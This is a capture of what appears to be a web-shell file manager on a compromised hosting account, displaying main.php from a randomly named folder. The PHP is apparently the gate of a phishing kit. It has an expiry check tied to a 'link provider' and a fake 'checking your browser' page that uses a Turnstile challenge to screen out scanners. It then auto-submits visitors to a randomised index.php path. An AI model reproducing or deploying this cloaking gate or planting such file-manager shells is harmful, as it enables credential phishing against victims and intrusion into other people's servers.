File manager - Edit - /home/adiance/public_html/beta/UmYg3E/main.php
Back
<?php include "chece.php"; ?> <?php //------------random string--------// function generateRandomString($length = 10) { $bytes = random_bytes($length); return bin2hex($bytes); } // Example usage: $randomString = generateRandomString(126); //------------random string--------// ?> <?php $expirationTime = strtotime('2024-08-15 24:00:00'); if (time() > $expirationTime) { // Code to be executed if the condition is true echo "api expired, Please contact your link provider"; ?> <?php } else { // Code to be executed if the condition is false ?> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> <script src='https://www.hCaptcha.com/1/api.js' async defer></script> </head> <body> <div class="container h-100 d-flex justify-content-center"> <div class="my-auto"> <form method="post" action="index.php?0d3RlcncZXd/<?php echo $randomString; ?>" style="margin-top:45%" id="myForm"> <div class="card shadow-sm rounded-md" style="width:400px"> <div class="card-body"> <h5>Please stand by</h5> <p>While we are checking your browser.</p> <div id="recaptcha"></div> </div> </div> <div class="form-group"><input id="token" type="hidden" name="h-captcha-response" value=""></div> </form> </div> </div> </form> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback" defer></script> <script> window.onloadTurnstileCallback = function () { turnstile.render('#recaptcha', { sitekey: '0x4AAAAAAAbz00LnDkbCVjoe', callback: function(token) { console.log(`Challenge Success ${token}`); var domToken = document.getElementById('token'); domToken.value = token; // submit form document.getElementById('myForm').submit() }, }); }; </script> </body> </html> <?php } ?>
| ver. 1.4 |
Github
|
.
| PHP 7.3.33 | Generation time: 0.08 |
proxy
|
phpinfo
|
Settings